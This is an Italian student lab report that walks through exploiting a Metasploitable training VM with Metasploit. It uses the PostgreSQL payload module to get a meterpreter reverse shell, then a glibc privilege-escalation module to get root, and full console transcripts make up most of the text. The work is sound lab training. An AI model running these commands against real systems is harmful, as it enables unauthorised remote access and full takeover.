

# Report esercizio S7L3

L'obiettivo di oggi era quello di sfruttare le varie vulnerabilità della macchina "Metasploitable" per entrare nel sistema e prendere il controllo della macchina.

Come primo passo abbiamo effettuato una scansione nmap sulla macchina vittima (Metasploitable) dove abbiamo scoperto che presentava parecchie vulnerabilità, quella scelta per l'attacco odierno è stata la postgresql sulla porta 5432.

Dopo di che avviamo mfconsole per poter cominciare il nostro attacco. Partiamo cercando l'exploit per attaccare la vulnerabilità scelta (exploit/linux/postgres/postgres\_payload)

```
File Actions Edit View Help
(kali @ kalivbox )-[ ~]
$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command

File System
|-----|
| METASPLOIT CYBER MISSILE COMMAND V5 |
|-----|

Home
X
CorsoCyber...
digitaldrag...

#####
##### / \ / \ / \ / \ #####
#####
#####
#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
https://https://metasploit.com

=[ metasploit v6.4.38-dev ]
+ -- --[ 2467 exploits - 1273 auxiliary - 431 post ]
+ -- --[ 1478 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

In seguito, cerchiamo l'exploit scelto e lo selezioniamo. In seguito col comando "options" ci accertiamo di ciò che richiede il modulo per funzionare.

```
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules



| # | Name                                    | Disclosure Date | Rank | Check     | Description                            |
|---|-----------------------------------------|-----------------|------|-----------|----------------------------------------|
| 0 | exploit/linux/postgres/postgres_payload | 2007-06-05      |      | excellent | Yes PostgreSQL for Linux Payload Execu |
| 1 | \_ target: Linux x86                    | .               | .    | .         | .                                      |
| 2 | \_ target: Linux x86_64                 | .               | .    | .         | .                                      |



Interact with a module by name or index. For example info 2 , use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'

msf6 > use 1
[*] Additionally setting TARGET => Linux x86
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit( linux/postgres/postgres_payload ) > options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                          |
|----------|-----------------|----------|--------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against |


```

Impostate tutte le richieste necessarie come RHOSTS e LHOST avviando il modulo scelto. Il quale crea una connessione TCP e apre la shell “meterpreter”. Ci accertiamo con il comando “getuid” il quale restituisce l’username “postgres”.

```
File Actions Edit View Help
  DATABASE postgres no The database to authenticate against
  PASSWORD postgres no The password for the specified username. Leave blank for a random password
  RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
  RPORT 5432 no The target port
  USERNAME postgres no The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Linux x86 |



View the full module info with the info, or info -d command.

msf6 exploit( linux/postgres/postgres_payload ) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit( linux/postgres/postgres_payload ) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit( linux/postgres/postgres_payload ) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Uploaded as /tmp/lafYvAnV.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.40:52046) at 2024-12-18 16:42:34 +0100

meterpreter > getuid
Server username: postgres
```

Il passo successivo è stato mettere in background la sessione 1, e grazie ad un suggerimento sottoforma di indovinello abbiamo cercato un altro exploit che ci permettesse di ottenere i privilegi root della macchina bersaglio. Anche in questo caso abbiamo attivato il modulo e usando il comando “options” e abbiamo controllato se tutte le richieste del exploit fossero impostate.

```
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit( linux/postgres/postgres_payload ) > search recon

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 post/multi/ recon/multiport_egress_traffic . normal No Generate TCP/UDP Outbound Traffic On Multiple Ports
1 exploit/windows/misc/hp_operations_agent_coda_34 2012-07-09 normal Yes HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow
2 \ target: HP Operations Agent 11.00 / Windows XP SP3 . . .
3 \ target: HP Operations Agent 11.00 / Windows 2003 SP2 . . .
4 exploit/windows/misc/hp_operations_agent_coda_8c 2012-07-09 normal Yes HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow
5 \ target: HP Operations Agent 11.00 / Windows XP SP3 . . .
6 \ target: HP Operations Agent 11.00 / Windows 2003 SP2 . . .
7 auxiliary/admin/hp/hp_ilo_create_admin_account 2017-08-24 normal Yes HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation
8 exploit/linux/http/pineapple_bypass_cmdinject 2015-08-01 excellent Yes Hak5 WiFi Pineapple P recon figuration Command Injection
9 exploit/linux/http/pineapple_p recon fig_cmdinject 2015-08-01 excellent Yes Hak5 WiFi Pineapple P recon figuration Command Injection
10 exploit/windows/http/ivanti_avalanche_filesto recon fig_upload 2023-04-24 excellent Yes Ivanti Avalanche FileSto recon fig File Upload
11 exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce 2020-07-20 good Yes Moodle Teacher Enrollment Privilege Escalation to RCE
12 post/multi/ recon/local_exploit_suggester . normal No Multi recon Local Exploit Suggester
13 post/multi/ recon/reverse_lookup . normal No Reverse Lookup IP Addresses
14 auxiliary/admin/sap/cve_2020_6287_ws_add_user 2020-07-14 normal Yes SAP Unauthenticated Webservice User Creation
15 \ action: ADD . . Add the specified user
16 \ action: REMOVE . . Remove the specified user
17 post/multi/ recon/sudo_commands . normal No Sudo Commands
18 post/windows/gather/credentials/skype . normal No Windows Gather Skype Saved Password Hash Extraction
19 post/windows/ recon/outbound_ports . normal No Windows Outbound-Filtering Rules
20 post/windows/ recon/computer_browser_discovery . normal No Windows recon Computer Browser Discovery
21 exploit/multi/http/wp_popular_posts_rce 2021-06-11 normal Yes Wordpress Popular Posts Authenticated RCE

Interact with a module by name or index. For example info 21 , use 21 or use exploit/multi/http/wp_popular_posts_rce

msf6 exploit( linux/postgres/postgres_payload ) > use 12
msf6 post( multi/recon/local_exploit_suggester ) > options
```

In seguito, abbiamo richiamato la sessione precedente

```
msf6 post( multi/recon/local_exploit_suggester ) > options

Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits

View the full module info with the info , or info -d command.

msf6 post( multi/recon/local_exploit_suggester ) > set session 1
session => 1
msf6 post( multi/recon/local_exploit_suggester ) > options

Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---
SESSION 1 yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits

View the full module info with the info , or info -d command.
```

Dando il comando per far iniziare il modulo a lavorare possiamo vedere che verranno mostrate tutte le vulnerabilità, sia quelle che possono subire un attacco sia quelle che invece non possono subirlo.

```
msf6 post( multi/recon/local_exploit_suggester ) > run

[*] 192.168.1.40 - Collecting local exploits for x86/linux...
[*] 192.168.1.40 - 198 exploit checks are being tried...
[*] 192.168.1.40 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.1.40 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.1.40 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.1.40 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.1.40 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.1.40 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.1.40 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
-
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/unix/local/setuid_nmap Yes The target is vulnerable. /usr/bin/nmap is setuid
7 exploit/linux/local/abort_raceabort_priv_esc No The target is not exploitable.
8 exploit/linux/local/abort_raceabort_priv_esc No The target is not exploitable.
9 exploit/linux/local/af_packet_chocobo_rmt_priv_esc No The target is not exploitable. System architecture i686 is not supported
10 exploit/linux/local/af_packet_packet_set_ring_priv_esc No The target is not exploitable.
11 exploit/linux/local/ansible_node_deployer No The target is not exploitable. Ansible does not seem to be installed, unable to find ansible executable
12 exploit/linux/local/appart_abort_chroot_priv_esc No The target is not exploitable.
13 exploit/linux/local/bluetooth_set_dhcp_handler_dbus_priv_esc No The target is not exploitable.
14 exploit/linux/local/bpf_priv_esc No The target is not exploitable.
15 exploit/linux/local/bpf_extension_priv_esc No The target is not exploitable. System architecture i686 is not supported
16 exploit/linux/local/cve_2021_3498_abof_sluid_bounds_check_lpe No The target is not exploitable. System architecture i686 is not supported
17 exploit/linux/local/cve_2021_38648_omigod No The target is not exploitable. The omiserver process was not found.
18 exploit/linux/local/cve_2021_4034_pwnkit_lpe_gxexec No The target is not exploitable. System architecture i686 is not supported
19 exploit/linux/local/cve_2022_0847_dirtytype No The target is not exploitable. Linux kernel version 2.6.24 is not vulnerable
20 exploit/linux/local/cve_2022_1043_io_uring_priv_esc No The target is not exploitable.
21 exploit/linux/local/desktop_privilege_escalation No The target is not exploitable.
22 exploit/linux/local/diamorphine_rootkit_signal_priv_esc No The target is not exploitable. Diamorphine is not installed, or incorrect signal '44'
23 exploit/linux/local/docker_cgroup_escape No The target is not exploitable. Kernel version 2.6.24-10-server may not be vulnerable depending on the host OS
24 exploit/linux/local/docker_damon_privilege_escalation No The target is not exploitable.
25 exploit/linux/local/docker_privileged_container_escape No The target is not exploitable. Not inside a Docker container
```

Alla fine della ricerca abbiamo selezionato una delle vulnerabilità (in questo caso abbiamo usato la prima apparsa in elenco), però quando abbiamo dato il comando “options” si può notare che di default il modulo viene impostato per un base e un IP errati, ma lo vedremo dopo.

```
[*] Post module execution completed
msf6 post( multi/recon/local_exploit_suggester ) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
```

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on
SUID_EXECUTABLE	/bin/ping	yes	Path to a SUID executable

```

Payload options (linux/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the  info , or  info -d  command.

msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > set session 1
session => 1
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
```

Ora richiamiamo la “session 1” impostata in precedenza e avviamo il modulo

```
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > set session 1
session => 1
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
```

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on
SUID_EXECUTABLE	/bin/ping	yes	Path to a SUID executable

```

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the  info , or  info -d  command.
```



Avviato il modulo possiamo notare un piccolo errore di IP corretto subito dopo, ma a parte questo piccolo intoppo, possiamo notare come il modulo funzioni e ci permetta di acquisire i privilegi di root della macchina.

```
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.ipZiKC' (1271 bytes) ...
[*] Writing '/tmp/.cYaBPpR' (276 bytes) ...
[*] Writing '/tmp/.zes20' (207 bytes) ...
[*] Launching exploit ...
[*] Exploit completed, but no session was created.
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.CJ00g8JB' (1271 bytes) ...
[*] Writing '/tmp/.08McviW' (286 bytes) ...
[*] Writing '/tmp/.RqiOqE' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.40:47393) at 2024-12-18 16:54:51 +0100

meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 2 ...
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > sessions

Active sessions
=====

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1	meterpreter x86/linux	postgres @ metasploitable.localdomain	192.168.1.100:4444 -> 192.168.1.40:52046 (192.168.1.40)	
2	meterpreter x86/linux	root @ metasploitable.localdomain	192.168.1.100:4444 -> 192.168.1.40:47393 (192.168.1.40)	

```
msf6 exploit( linux/local/glibc_ld_audit_dso_load_priv_esc ) > █
```